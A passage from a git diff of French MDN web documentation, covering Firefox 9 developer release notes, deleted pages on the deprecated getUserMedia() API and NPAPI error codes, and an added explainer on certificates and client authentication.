  • Les objets Range et Selection se comportent désormais selon leurs spécifications lorsque splitText() et normalize() sont appelés.
    • -
  • La valeur de Node.ownerDocument pour les noeuds de doctype est désormais le document sur lequel createDocumentType() a été appelé pour créer le noeud, au lieu de null.
    • -
  • window.navigator.taintEnabled a été retiré, il n'est plus supporté depuis plusieurs années.
    • -
- -

Workers

- -
    -
  • Les workers implémentés dans les URLs blob étaient cassés sous Firefox 8, et sont de nouveaux disponibles à partir de Firefox 9.
    • -
- -

WebGL

- -
    -
  • Dans le cadre de WebGL les attributs drawingBufferWidth et drawingBufferHeight sont à présent supportés.
    • -
- -

MathML

- -
    -
  • La valeur non-standard restyle pour les attributs actiontype des éléments <maction> a été retirée.
    • -
  • Alors qu'il n'était pas encore supporté, l'utilisation de l'élément <mlabeledtr> ne casse plus complètement le rendu. Voir le bug 689641 pour l'avancement du support de cet élément.
    • -
- -

Réseau

- -
    -
  • Vous pouvez désormais envoyer le contenu de tableaux JavaScript typés (c'est, le contenu d'un objet ArrayBuffer) en utilisant XMLHttpRequest.
    • -
  • Les connexions WebSocket permettent désormais des non-caractères autres que UTF-8 des trames de données devant être reçues, au lieu d'échouer.
    • -
  • L'en-tête HTTP Accept pour les réquêtes XSLT a été changée pour "*/*" pour simplifier. Puisque l'extraction d'XSLT est toujours retombée à "* / *", il était logique de faire la simplification.
    • -
  • Les tentatives faites par un serveur pour utiliser les codes de réponses 301 Moved Permanently ou 307 Temporary Redirect pour rediriger l'utilisateur vers une URI javascript: donne désormais lieu à l'erreur "connexion incorrecte" au lieu de vraiment rediriger. Cela évite certaines attaques de type cross-site scripting.
    • -
  • Le contenu servi par Content-Disposition vide avait déjà été traité comme si Content-Disposition était attachment", ce qui ne fonctionnait pas toujours comme prévu. C'est désormais traité comme si Content-Disposition était "inline".
    • -
  • La taille maximale par défaut d'un élément dans le cache disque a été augmentée à 50 Mo, auparavant, seuls les éléments jusqu'à 5 Mo étaient mis en cache.
    • -
- -

Outils de développement

- - - -

Changements pour les développeurs de Mozilla et de modules complémentaires

- -

Voir Updating add-ons for Firefox 9 pour un aperçu des modifications que vous devriez apporter pour rendre vos extensions compatibles avec Firefox 9.

- -

XUL

- -
    -
  • L'élément tab dispose à présent d'un attribut pending, dont la valeur est true, lorsque l'onglet est en train d'être rétabli par le service de sauvegarde de session. Il peut être utilisé pour le style de l'onglet dans les thèmes. L'attribut n'est pas présent sur les onglets qui ne sont pas en attente.
    • -
  • L'élément tab dispose à présent d'un attribut unread, dont la valeur est true, lorsque l'onglet a changé depuis la dernière fois qu'il était actif ou si il n'a pas été sélectionné depuis que la session en cours a commencé. L'attribut n'est pas présent sur les onglets qui ne sont pas lus.
    • -
  • Vous pouvez désormais utiliser panel comme une image glissée pour les opérations DOM de glisser-déposer. Cela vous permet d'utiliser l'API standard drag & drop pour glisser et déposer du contenu XUL.
    • -
  • La méthode appendNotification de l'élément notificationbox vous permet désormais de spécifier un rappel qui est appelé pour des événements intéressants liés à la zone de notification. Actuellement, le seul événement est "removed", qui vous indique la zone qui a été retirée de sa fenêtre.
    • -
- -

Changements dans le module de code JavaScript

- -
    -
  • FileUtils.jsm dispose désormais du constructeur File qui renvoie l'objet nsIFile représentant un fichier spécifié par son chemin d'accès.
    • -
- -

Changement dans le service

- - - -

NSPR

- -
    -
  • NSPR dispose désormais d'un module "append", qui vous permet d'ajouter de nouvelles données à la fin d'un journal existant.
    • -
- -

Changements dans les interfaces

- -

Interface supprimée

- -
    -
  • nsIGlobalHistory3 a été enlevée lors de la réduction de Places et du code DocShell.
    • -
- -

Divers changements dans les interfaces

- -
    -
  • L'interface nsISound a une nouvelle constante EVENT_EDITOR_MAX_LEN. Elle permet de lire le son du système quand plus de caractères que le maximum autorisé sont entrés dans un champ de texte. Actuellement, ce n'est utilisé que sous Windows.
    • -
  • L'interface nsIScriptError2 a de nouvelles propriétés, timeStamp et innerWindowID ; en plus, la méthode initWithWindowID() prend désormais un ID de fenêtre intérieure au lieu d'un ID de fenêtre extérieure.
    • -
  • L'attribut nsIBidiKeyboard.haveBidiKeyboards a été ajouté, il vous permet de vérifier que le système a au moins un clavier installé dans chaque sens : de gauche à droite ou de droite à gauche.
    • -
  • Le nouvel attribut nsIEditor.isSelectionEditable vous permet de déterminer si l'ancre de sélection en cours est modifiable. Cela permet de supporter les cas où seules certaines parties du document sont modifiables, en vous permettant de voir si la sélection actuelle est dans une partie modifiable.
    • -
  • Les méthodes nsIBrowserHistory.registerOpenPage() et nsIBrowserHistory.unregisterOpenPage() ont été supprimées dans le cadre d'une refonte des performances dans le système Places. A la place, vous pouvez utiliser les méthodes correspondantes de mozIPlacesAutoComplete.
    • -
  • La méthode nsIDOMWindowUtils.wrapDOMFile() a été ajoutée, elle retourne un objet DOM File pour un nsIFile donné.
    • -
  • La méthode nsIChromeFrameMessageManager.removeDelayedFrameScript() a été ajouté pour supporter la suppression des scripts de chargement différé. Les extensions amorcées doivent l'utilisée, lors de l'arrêt, pour éliminer tous les scripts chargés à l'aide de nsIChromeFrameMessageManager.loadFrameScript() avec l'indicateur de charge différé. Cela expose des extensions comme browser.messageManager.removeDelayedFrameScript().
    • -
  • L'interface nsIAppStartup a un nouvel attribut interrupted, qui vous permet de savoir si la procédure de démarrage a été interrompue à tout moment par une commande interactive invitée. Cela peut être utile, par exemple, lors de la synchronisation du démarrage pendant l'évaluation des performances, pour être en mesure de déposer le nombre de sessions qui ont été interrompues.
    • -
  • L'interface nsIEditorSpellCheck a été revue pour supporter le choix des sites de dictionnaires pour la vérification orthographique.
    • -
- -

Parseur IDL

- -

Le parseur IDL ne supporte plus la notion de pointeurs unique qui n'a jamais été entièrement implémentée.

- -

Changements dans le système de compilation

- -
    -
  • L'option --enable-application=standalone pour la compilation autonome d'XPConnect a été retirée, elle n'a pas été utilisée depuis 2007.
    • -
  • Le support de la compilation autonome de Necko et Transformiix XSLT a été retiré, vous ne pouvez plus utilisez --enable-application=network ou --enable-application=content/xslt.
    • -
  • Le système de compilation cherche désormais .mozconfig à $topsrcdir/.mozconfig ou $topsrcdir/mozconfig, et pas ailleurs, sauf si vous remplacez le chemin .mozconfig en utilisant la variable d'environnement MOZCONFIG.
    • -
  • L'utilitaire xpidl a été remplacé dans le SDK avec pyxpidl.
    • -
- -

Autres changements

- -
    -
  • Le correcteur orthographique n'a plus la limite de 130 caractères sur la longueur des mots à vérifier. Cette limite était précédemment en place pour éviter les plantages qui sont survenus dans le correcteur orthographique, mais les bogues sous-jacents ont depuis été corrigés.
    • -
  • Vous pouvez désormais enregistrer des composants pour ajouter des fonctionnalités à l'objet window.navigator à l'aide de la catégorie "JavaScript-navigator-property". Voir Ajout des APIs de l'objet navigator pour plus de détails et des exemples.
    • -
- -

Voir également

- -
- -
diff --git a/files/fr/mozilla/firefox/versions/index.html b/files/fr/mozilla/firefox/versions/index.html deleted file mode 100644 index 711c761192..0000000000 --- a/files/fr/mozilla/firefox/versions/index.html +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: Notes de version Firefox pour développeurs -slug: Mozilla/Firefox/Versions -tags: - - Firefox - - TopicStub -translation_of: Mozilla/Firefox/Releases ---- -
{{FirefoxSidebar}}
- -

Cette page regroupe les liens vers les articles « Firefox X pour les développeurs » pour chacune des versions de Firefox. Ces notes vous permettent de connaître quelles fonctions ont été ajoutées et les bogues éliminées à chacune des versions de Firefox.

- -
{{ListSubpages("",1,0,1)}}
diff --git a/files/fr/navigatorusermedia.getusermedia/index.html b/files/fr/navigatorusermedia.getusermedia/index.html deleted file mode 100644 index 44921a5d48..0000000000 --- a/files/fr/navigatorusermedia.getusermedia/index.html +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: NavigatorUserMedia.getUserMedia() -slug: NavigatorUserMedia.getUserMedia -tags: - - API - - Deprecated - - Media - - WebRTC - - getusermedia -translation_of: Web/API/Navigator/getUserMedia ---- -
{{APIRef("Media Capture and Streams")}}{{deprecated_header}}
- -

La fonction obsolète Navigator.getUserMedia() demande à l'utilisateur la permission d'utiliser une entrée vidéo (ex: une webcam ou un écran partagé) ou audio (ex: un microphone) de l'utilisateur.

- -

Si ce dernier l'autorise, un {{domxref("MediaStream")}} est transmis au callback spécifié, il contient les pistes audio et/ou vidéo des entrées autorisées. Si l'utilisateur refuse l'accès, que le périphérique n'existe pas, ou qu'une erreur quelconque se produit, le callback d'erreur est alors exécuté avec comme paramètre un objet {{domxref("MediaStreamError")}}, il décrit l'erreur qui vient de se produire. Si l'utilisateur ne fait aucun choix, aucun callback n'est exécuté.

- -
-

Il s'agit d'une ancienne méthode, veuillez utiliser la méthode {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia()")}} à la place. Bien qu'elle ne soit pas techniquement obsolète, l'utilisation de callbacks l'est, les spécifications encouragent fortamment l'utilisation de la nouvelle version avec {{jsxref("promise", "promesses")}}.

-
- -

Syntaxe

- -
navigator.getUserMedia(constraints, successCallback, errorCallback);
- -

Paramètres

- -
-
constraints
-
Un objet {{domxref("MediaStreamConstraints")}} spécifiant les types de médias que vous souhaitez recevoir, ainsi que les contraintes pour chaque type de média. Pour plus de détails, voir la section constraints de la méthode {{domxref("MediaDevices.getUserMedia()")}}, ainsi que l'article Capacités, constraintes, et configurations.
-
successCallback
-
Une fonction qui est invoquée lorsque la demande d'accès aux entrées média est acceptée. Cette fonction est appellée avec un paramètre: l'objet {{domxref("MediaStream")}} qui contient les flux de médias. Votre callback peut assigner le stream l'objet que vous désirez (ex: un élément {{HTMLElement("audio")}} ou {{HTMLElement("video")}}), comme dans l'exemple suivant: - 
function(stream) {
-   var video = document.querySelector('video');
-   video.src = window.URL.createObjectURL(stream);
-   video.onloadedmetadata = function(e) {
-      // Do something with the video here.
-   };
-}
-
-
-
errorCallback
-
Lorsque l'appel échoue, la fonction spécifiée dans errorCallback est appelée avec comme seul argument l'objet {{domxref("MediaStreamError")}}. Cet objet ressemble à {{domxref("DOMException")}}. Voir {anch("Erreurs")}} plus bas sur cette page pour voir quelle erreur peut arriver.
-
- -

Valeur de retour

- -

{{domxref("undefined")}}.

- -

Erreurs

- -

{{page("/fr/docs/Web/API/MediaDevices/getUserMedia", "Errors")}}

- -

Exemples

- -

Largeur et hauteur

- -

Voici un exemple de l'utilisation de getUserMedia(), avec les différentes mises en oeuvres pour couvrir les préfixes navigateurs. Remarquez que ceci est la façon dépréciée de procéder. Regardez les exemples sous la section {{domxref("MediaDevices.getUserMedia()")}} pour les exemples modernes.

- -
navigator.getUserMedia = navigator.getUserMedia ||
-                         navigator.webkitGetUserMedia ||
-                         navigator.mozGetUserMedia;
-
-if (navigator.getUserMedia) {
-   navigator.getUserMedia({ audio: true, video: { width: 1280, height: 720 } },
-      function(stream) {
-         var video = document.querySelector('video');
-         video.src = window.URL.createObjectURL(stream);
-         video.onloadedmetadata = function(e) {
-           video.play();
-         };
-      },
-      function(err) {
-         console.log("The following error occurred: " + err.name);
-      }
-   );
-} else {
-   console.log("getUserMedia not supported");
-}
- -

Permissions

- -

Pour utiliser getUserMedia() dans une application installable (par exemple une application Firefox OS), vous devez spécifier un ou plusieurs des champs suivants dans le fichier de manifest.

- -
"permissions": {
-  "audio-capture": {
-    "description": "Required to capture audio using getUserMedia()"
-  },
-  "video-capture": {
-    "description": "Required to capture video using getUserMedia()"
-  }
-}
-
- -

See permission: audio-capture and permission: video-capture for more information.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationsStatutCommentaire
{{SpecName('Media Capture', '#navigatorusermedia-interface-extensions', 'navigator.getUserMedia')}}{{Spec2('Media Capture')}}Définition initiale.
- -

Compatibilité des navigateurs

- -
-

New code should use {{domxref("Navigator.mediaDevices.getUserMedia()")}} instead.

-
- -
-

{{CompatibilityTable}}

- - - - - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Microsoft EdgeInternet ExplorerOperaSafari (WebKit)
Basic support21{{property_prefix("webkit")}} [1]17{{property_prefix("moz")}} [3]{{CompatVersionUnknown}}{{CompatNo}}12 [2]
- 18{{property_prefix("webkit")}}		{{CompatNo}}
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari MobileChrome for Android
Basic Support{{CompatUnknown}}{{CompatChrome(40.0)}}{{property_prefix("webkit")}} [2]{{CompatVersionUnknown}}24{{property_prefix("moz")}} [3]1.2{{property_prefix("moz")}} [4]
- 1.4{{property_prefix("moz")}}		{{CompatNo}}
-
- -

[1] Les versions suivantes de Chrome supportent {{domxref("MediaDevices.getUserMedia()")}} sans préfixe qui remplace cette méthode dépréciée.

- -

[2] Chrome et Opera utilisent toujours une ancienne syntaxe de contraintes mais la syntaxe décrite ici est disponible via le polyfill adapter.js.

- -

[3] La syntaxe de la contrainte décrite ici est disponible depuis Firefox 38. Les versions précédentes utilisent une ancienne syntaxe de contraintes, mais la syntaxe décrite ici est disponible via le polyfill adapter.js.

- -

[4] Dans Firefox OS 1.2 seul audio était supporté, 1.4 ajoute le support de video.

- -

Pour le moment, utiliser WebRTC pour accéder à la caméra est supporté par Chrome, Opera, et Firefox 20.

- -

Voir aussi

- -
    -
  • {{domxref("MediaDevices.getUserMedia()")}} qui remplace cette méthode dépréciée.
    • -
  • WebRTC - page d'introduction aux APIS
    • -
  • MediaStream API - L'API des Media Streams Objects
    • -
  • Taking webcam photos - un tutoriel à propos de l'utilisation de  getUserMedia() pour prendre des photos plutôt que des vidéos.
    • -
diff --git a/files/fr/npapi/constantes/index.html b/files/fr/npapi/constantes/index.html deleted file mode 100644 index e7754f7e72..0000000000 --- a/files/fr/npapi/constantes/index.html +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: Constantes -slug: NPAPI/Constantes -tags: - - Code - - Erreur - - Plugin -translation_of: Plugins/Guide/Constants -translation_of_original: NPAPI/Constants ---- -

Cette section est une référence au définitions utilisées par l'API Plug-in. Toutes les définitions proviennent de npapi.h.

-

Codes Erreur

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
CodeValeurDescription
NPERR_NO_ERROR 0Aucune erreur n'est survenue
NPERR_GENERIC_ERROR 1Une erreur sans code attribué est survenue
NPERR_INVALID_INSTANCE_ERROR 2L'instance transmise au plugin est invalide
NPERR_INVALID_FUNCTABLE_ERROR 3Table de fonctions invalide
NPERR_MODULE_LOAD_FAILED_ERROR4Le chargement du plugin a échoué
NPERR_OUT_OF_MEMORY_ERROR5L'allocation de mémoire a échoué
NPERR_INVALID_PLUGIN_ERROR 6Plugin manquant ou invalide
NPERR_INVALID_PLUGIN_DIR_ERROR7Répertoire du plugin manquant ou invalide
NPERR_INCOMPATIBLE_VERSION_ERROR8les versions du plugin et de  Communicator ne correspondent pas
NPERR_INVALID_PARAM 9Paramètre manquant ou invalide
NPERR_INVALID_URL10URL manquante ou invalide
NPERR_FILE_NOT_FOUND11Fichier manquant ou invalide
NPERR_NO_DATA12Le flux ne contient pas de données
NPERR_STREAM_NOT_SEEKABLE 13Flux trouvable attendu. (trad à vérifier : Seekable stream expected)
-

 

diff --git "a/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/certificats_et_authentification/index.html" "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/certificats_et_authentification/index.html" new file mode 100644 index 0000000000..0207687122 --- /dev/null +++ "b/files/fr/orphaned/introduction_\303\240_la_cryptographie_\303\240_clef_publique/certificats_et_authentification/index.html" @@ -0,0 +1,395 @@ +--- +title: Certificats et authentification +slug: >- + Introduction_à_la_cryptographie_à_clef_publique/Certificats_et_authentification +tags: + - Sécurité +--- +

Certificat identifiant une personne ou une entité

+ +

Un certificat est un document électronique utilisé pour identifier un individu, un serveur, une entreprise ou toute autre entité et pour associer une clef publique à cette identité. Tout comme un permis de conduire, un passeport, ou tout autre moyen d'identification personnelle couramment utilisé, un certificat fournit généralement une preuve reconnue de l'identité de la personne. La cryptographie à clef publique utilise les certificats pour éviter les problèmes d'usurpation d'identité (voir Problèmes de sécurité sur Internet).

+ +

Pour obtenir un permis de conduire, il faut s'inscrire dans une agence gouvernementale, telle que le Department of Motor Vehicles, qui vérifie votre identité, votre capacité à conduire, votre adresse, et d'autres information avant de délivrer le permis. Pour obtenir une carte d'étudiant, il faut s'adresser à une université ou une école, qui contrôle certaines informations (comme le paiement des frais d'inscription) avant de délivrer la carte d'étudiant. Pour obtenir une carte de bibliothèque, il faut uniquement fournir votre nom et une attestation de logement à vos nom et adresse.

+ +

Les certificats fonctionnent sur les mêmes principes que ces différents documents d'identité. Les autorités de certification (AC ou CA) sont des entités qui valident les identités et émettent les certificats. Elles peuvent être des tierces-parties indépendantes ou des organisations possédant leur propre serveur d'émission de certificats (tel que Red Hat Certificate System). Les méthodes utilisées pour valider une identité varient selon les politiques d'émission d'une AC donnée — tout comme les méthodes de validation des autres formulaires d'identification varient selon les organismes d'émission et leurs domaines d'application. En général, avant d'émettre un certificat, une AC doit utiliser ses procédures de vérification publiées pour un type de certificat afin de s'assurer que l'entité demandant le certificat est bien celle qu'elle prétend être.

+ +

Le certificat émis par l'AC lie une clef publique particulière au nom de l'entité qu'il identifie (tel qu'un nom d'employé ou de serveur). Les certificats aident à prévenir l'utilisation de fausses clefs publiques pour l'usurpation d'identité. Seule la clef publique certifiée dans le certificat fonctionnera avec la clef privée correspondante possédée par l'entité identifiée par le certificat.

+ +

En plus de la clef publique, un certificat contient toujours le nom de l'entité qu'il identifie, une date d'expiration, le nom de son AC émettrice, un numéro de série et d'éventuelles autres informations utiles. Plus important, un certificat contient toujours la signature numérique de l'AC émettrice. La signature numérique de l'AC émettrice permet au certificat de fonctionner comme une lettre d'introduction pour les utilisateurs qui connaissent l'AC et lui font confiance mais qui ne connaissent pas l'entité identifiée par le certificat.

+ +

Pour plus d'informations concernant le rôle des autorités de certification (AC), voir « Comment les certificats d'AC sont utilisés pour établir une relation de confiance ».

+ +

L'authentification confirme une identité

+ +

L'authentification est le processus de confirmation d'une identité. Dans le contexte d'interactions entre les réseaux, l'authentification comporte l'identification confiante d'une partie par une autre. L'authentification sur les réseaux peut avoir plusieurs formes. Les certificats sont un moyen d'authentification.

+ +

Les interactions entre les réseaux se font généralement entre un client, tel que le navigateur d'un ordinateur personnel, et un serveur, tel que le matériel et le logiciel hébergeant un site Web. L'authentification cliente se réfère à l'identification confiante d'un client par un serveur (c'est-à-dire, l'identification de la personne supposée utiliser le logiciel client). L'authentification serveur se réfère à l'identification confiante d'un serveur par le client (c'est-à-dire, l'identification de l'organisation supposée être responsable du serveur à une adresse réseau particulière).

+ +

Les authentifications cliente et serveur ne sont pas les seules formes d'authentification permises par les certificats. Par exemple, la signature numérique d'un courriel combinée au certificat identifiant l'expéditeur fournissent une forte preuve que la personne identifiée par le certificat a bien envoyé le message. De même, une signature numérique dans un formulaire HTML combinée à un certificat identifiant le signataire peut fournir une preuve, après coup, que la personne identifiée par le certificat est d'accord avec le contenu du formulaire. En plus de l'authentification, la signature numérique assure, dans les deux cas, un degré de non répudiation (c'est-à-dire que la signature numérique rend difficile la négation ultérieure par le signataire des informations présentes dans le message électronique ou le formulaire).

+ +

L'authentification cliente est un élément essentiel de la sécurité réseau, sur les intranets ou les extranets. Les sections qui suivent présentes deux formes d'authentification cliente :

+ +
    +
  • Authentification basée sur un mot de passe : Presque tous les serveurs permettent l'authentification cliente à l'aide d'un nom, ou pseudonyme, et d'un mot de passe. Par exemple, un serveur pour demander à un utilisateur de fournir un nom et un mot de passe avant de donner des droits d'accès à certaines parties du serveur. Le serveur maintient une liste des noms et des mots de passe ; si un nom particulier est dans cette liste, et que l'utilisateur fournit le bon mot de passe, le serveur donne des droit d'accès.
    • +
  • Authentification basée sur un certificat : L'authentification basée sur les certificats est une étape du protocole SSL. Le client signe numériquement des données générées aléatoirement et envoie à la fois ces données signées et le certificat sur le réseau. Le serveur utilise les techniques de cryptographie à clef publique pour valider la signature et confirmer la validité du certificat.
    • +
+ +

L'authentification par mot de passe

+ +

La figure 4 montre les étapes basiques mise en œuvre dans l'authentification d'un client à l'aide d'un nom et d'un mot de passe. Cette figure suppose que :

+ +
    +
  • L'utilisateur a déjà décidé de faire confiance au serveur, sans authentification ou sur la base d'une authentification de serveur via SSL.
    • +
  • L'utilisateur a demandé une ressource contrôlée par le serveur.
    • +
  • Le serveur demande une authentification client avant de donner les droits d'accès aux ressources demandées.
    • +
+ +

Figure 4. Utilisation d'un mot de passe pour authentifier un client auprès d'un serveur

+ +

Voici les étapes décrites dans la figure 4 :

+ +
    +
  1. En réponse à une demande d'authentification de la part du serveur, le client affiche une boîte de dialogue demandant le nom de l'utilisateur et son mot de passe pour accéder à ce serveur. L'utilisateur doit fournir séparément un nom et un mot de passe pour chaque nouveau serveur qu'il désire utiliser pendant sa session de travail.
    2. +
  2. Le client envoie le nom et le mot de passe par le réseau, en clair ou par une connexion SSL chiffrée.
    3. +
  3. Le serveur vérifie le nom et le mot de passe dans sa base de données locale et, s'ils correspondent, il les accepte comme preuves authentifiant l'identité de l'utilisateur.
    4. +
  4. Le serveur détermine si l'utilisateur est autorisé à accéder aux ressources demandées, et si oui, autorise le client à y accéder.
    5. +
+ +

Avec cet arrangement, l'utilisateur doit fournir un mot de passe pour chaque serveur, et l'administrateur doit conserver les noms et les mots de passe de chaque utilisateur, généralement sur des serveurs distincts.

+ +

Une implémentation propre ne mémorise pas les mots de passe en texte simple. À la place, il concatène le mot de passe avec une valeur aléatoire propre à chaque utilisateur (également appelée « salt ») et mémorise la valeur hachée du résultat avec le « salt ». Ceci rend plus difficile des attaques de force brute.

+ +

Comme expliqué dans la section suivante, un des avantages de l'authentification par certificat est qu'elle peut être utilisée pour remplacer les trois premières étapes décrites à la figure 4 avec un mécanisme qui permet à l'utilisateur de fournir un seul mot de passe (qui n'est pas transmis à travers le réseau) et permet à l'administrateur de centraliser le contrôle de l'authentification des utilisateurs.

+ +

L'authentification par certificat

+ +

La figure 5 décrit le fonctionnement d'une authentification client à l'aide des certificats et du protocole SSL. Pour authentifier un utilisateur auprès d'un serveur, Le client signe numériquement des données générées aléatoirement et envoie à la fois ces données signées et le certificat sur le réseau. Pour les besoins de cette discussion, la signature numérique associée aux données signées peut être considérée comme une preuve fournie par le client au serveur. Le serveur authentifie l'identité de l'utilisateur en se basant sur la force de cette preuve.

+ +

Comme pour la figure 4, la figure 5 suppose que l'utilisateur a déjà décidé de faire confiance au serveur et qu'il a demandé une ressource, et que le serveur a demandé une authentification client lors du processus d'évaluation des droits à accéder à la ressource demandée.

+ +

Figure 5. Utilisation d'une authentification par certificat d'un client auprès d'un serveur

+ +

Contrairement au processus décrit à la figure 4, celui de la figure 5 nécessite d'utiliser SSL. La figure 5 suppose également que le client possède un certificat valide qui peut être utilisé pour l'identifier auprès du serveur. L'authentification par certificat est généralement considérée comme préférable à l'authentification par mot de passe car elle est basée sur ce que l'utilisateur a (la clef privée) aussi bien que sur ce que l'utilisateur sait (le mot de passe qui protège cette clef privée). Cependant, il est important de remarquer que ces deux affirmations ne sont vraies que si aucune personne non autorisée n'a accès à l'ordinateur de l'utilisateur ou a son mot de passe, si le mot de passe de la base de données des clefs privées du logiciel client a été défini, et si le logiciel est paramétré pour demander le mot de passe à intervalles raisonnablement fréquents.

+ +

Ni l'authentification par mot de passe, ni l'authentification par certificat ne répondent aux questions de sécurité soulevées par l'accès physique à l'ordinateur d'un individu ou à ses mots de passe. La cryptographie à clef publique peut uniquement vérifier qu'une clef privée utilisée pour signer des données, correspond à la clef publique présente dans un certificat. Il est de la responsabilité de l'utilisateur de protéger physiquement son ordinateur et de conserver secret le mot de passe de sa clef privée.

+ +

Voici les étapes décrites dans la figure 5 :

+ +
    +
  1. Le logiciel client, tel que le navigateur, maintient une base de données des clefs privées correspondantes aux clefs publiques publiées avec tous les certificats émis pour ce client. Le client demande le mot de passe de cette base de données la première fois qu'il a besoin d'y accéder lors d'une session donnée — par exemple, la première fois que l'utilisateur essaie d'accéder à un serveur SSL qui requiert une authentification par certificat. Après avoir renseigné une première fois ce mot de passe, l'utilisateur n'en a plus besoin pour la durée de la session, même en accédant à d'autres serveurs SSL.
    2. +
  2. Le client débloque la base de données des clefs privées, récupère la clef privée du certificat de l'utilisateur et utilise cette clef privée pour signer numériquement des données générées aléatoirement dans ce but en se basant sur des entrées du client et du serveur. Ces données et la signature numérique constituent une « preuve » de la validité de la clef privée. La signature numérique peut uniquement être créée avec la clef privée et peut être validée par la clef publique associée aux données signées, ce qui est réservé à la session SSL.
    3. +
  3. Le client envoie le certificat de l'utilisateur et la preuve (les données générées aléatoirement signées numériquement) par le réseau.
    4. +
  4. Le serveur utilise le certificat et la preuve pour authentifier l'identité de l'utilisateur (pour plus de détails sur ce fonctionnement, voir « Introduction à SSL »).
    5. +
  5. À ce moment, le serveur peut éventuellement exécuter des tâches d'authentification supplémentaires, comme vérifier si le certificat présenté par le client est stocké dans l'entrée de l'utilisateur d'un annuaire LDAP. Le serveur continue alors à évaluer si l'utilisateur identifié est autorisé ou non à accéder à la ressource demandée. Ce processus d'évaluation peut employer une variété de mécanismes standards d'autorisation, en utilisant éventuellement des informations présentes dans un annuaire LDAP, des bases de données d'entreprises, etc. Si le résultat de l'évaluation est positif, le serveur autorise le client à accéder à la ressource demandée.
    6. +
+ +

Comme on peut le voir en comparant les figures 4 et 5, les certificats remplacent la portion de l'authentification correspondant à l'interaction entre le client et le serveur. Plutôt que de demander à l'utilisateur d'envoyer des mots de passe par le réseau à longueur de journée, l'ouverture de session unique demande une seule fois à l'utilisateur de saisir son mot de passe de base de données de clefs privée, sans l'envoyer par le réseau. Pour la suite de la session, le client présente le certificat de l'utilisateur pour authentifier l'utilisateur auprès de chaque serveur auquel il se connecte. Les mécanismes d'autorisation existants basés sur l'authentification de l'identité du l'utilisateur ne sont pas concernés.

+ +

Comment utiliser les certificats

+ + + +

Types de certificats

+ +

Cinq types de certificats sont couramment utilisé avec les produits Red Hat :

+ +
    +
  • Certificats de client SSL : Utilisés pour identifier des client auprès de serveurs via SSL (authentification client). Généralement, l'identité du client est présumée être la même que celle d'un être humain, tel qu'un employé dans une entreprise. Voir L'authentification par certificat, pour une description de la façon dont les certificats d'un client SSL sont utilisés pour l'authentification client. Les certificats d'un client SSL peuvent également être utilisés pour la signature de formulaires et comme composante d'une solution de l'ouverture de session unique.
    • +
+ +
+
Exemples 
+
Une banque donne un certificat client SSL à l'un de ses usagers qui lui permet de s'identifier auprès du serveur de la banque et d'accéder à ses comptes. Une compagnie peut donner un certificat client SSL à l'un de ses nouveaux employés qui lui permet de s'identifier auprès du serveur de l'entreprise et d'obtenir accès aux ressources disponibles sur ce serveur.
+
+ +
    +
  • Certificats de serveur SSL : Utilisé pour identifier les serveurs auprès des client via SSL (authentification serveur). L'authentification serveur peut être utilisée avec ou sans authentification client. L'authentification serveur est obligatoire lors de l'établissement d'une connexion SSL chiffrée. Pour plus d'informations, voir Le protocole SSL.
    • +
+ +
+
Exemple 
+
Les sites internet de commerce électronique (communément appelé e-commerce) supportent habituellement l'authentification serveur par certificat, au minimum, pour établir une session SSL chiffrée et assure les clients qu'ils traitent avec un site identifié comme étant celui d'une entreprise donnée. La session SSL assure que les informations personnelles renseignées par le client et transmises par le réseau, telles que son numéro de carte de crédit, ne seront pas aisément interceptées.
+
+ +
    +
  • Certificats S/MIME : Utilisés pour signer et chiffrer les courriels. Comme pour les certificats client SSL, l'identité du client est généralement présumé être la même que celle d'un être humain, tel qu'un employé d'une entreprise. Un certificat unique peut être utilisé comme certificat S/MIME et comme certificat SSL (voir Messages signés et chiffrés). Les certificats S/MIME peuvent également être utilisés pour la signature de formulaires et comme composante d'une solution de l'ouverture de session unique.
    • +
+ +
+
Exemples 
+
Une entreprise déploie des certificats combinés S/MIME et SSL dans l'unique but d'authentifier l'identité des employés, permettant ainsi la signature de messages et l'authentification de client SSL, mais pas le chiffrage des messages. Une autre entreprise émet des certificats S/MIME uniquement dans le but de signer et de chiffrer les messages de natures financière ou légale qu'elle envoie.
+
+ +
    +
  • Certificats de signature d'objet : Utilisés pour identifier les signataires de code Java, de scripts JavaScript, ou d'autres fichiers signés. Pour plus d'informations, voir Signature d'objets.
    • +
+ +
+
Exemple 
+
Une entreprise de logiciel signe les logiciels qu'elle distribue par Internet pour fournir l'assurance à ses utilisateurs que le logiciel est un produit légitime. L'utilisation des certificats et des signatures numériques de cette façon peut également servir pour que les utilisateurs identifient et contrôlent l'accès à leurs ordinateurs des logiciels téléchargés.
+
+ +
    +
  • Certificats d'AC : Utilisés pour identifier les autorités de certification (AC). Les logiciels client et serveur utilisent les certificats d'AC pour déterminer quelles autres certifications peuvent être de confiance. Pour plus d'informations, voir Utilisation des certificats d'AC pour établir la confiance.
    • +
+ +
+
Exemple 
+
Les certificats d'AC stockés dans Communicator déterminent quels autres certificats peuvent être utilisés pour l'authentification. Un administrateur peut implémenter certains aspects de la politique de sécurité de son entreprise en contrôlant les certificats d'AC stockés dans les Communicator de chaque utilisateur.
+
+ +

Les sections ci-dessous décrivent l'utilisation des certificats dans les produits Red Hat.

+ +

Le protocole SSL

+ +

Le protocole Secure Sockets Layer (SSL) est un ensemble de règles gouvernant l'authentification serveur, l'authentification client et les communications encryptées entre des serveurs et des clients. SSL est largement utilisé sur Internet, particulièrement pour les interactions mettant en œuvre l'échange d'informations confidentielles telles que les numéros de cartes de crédit.

+ +

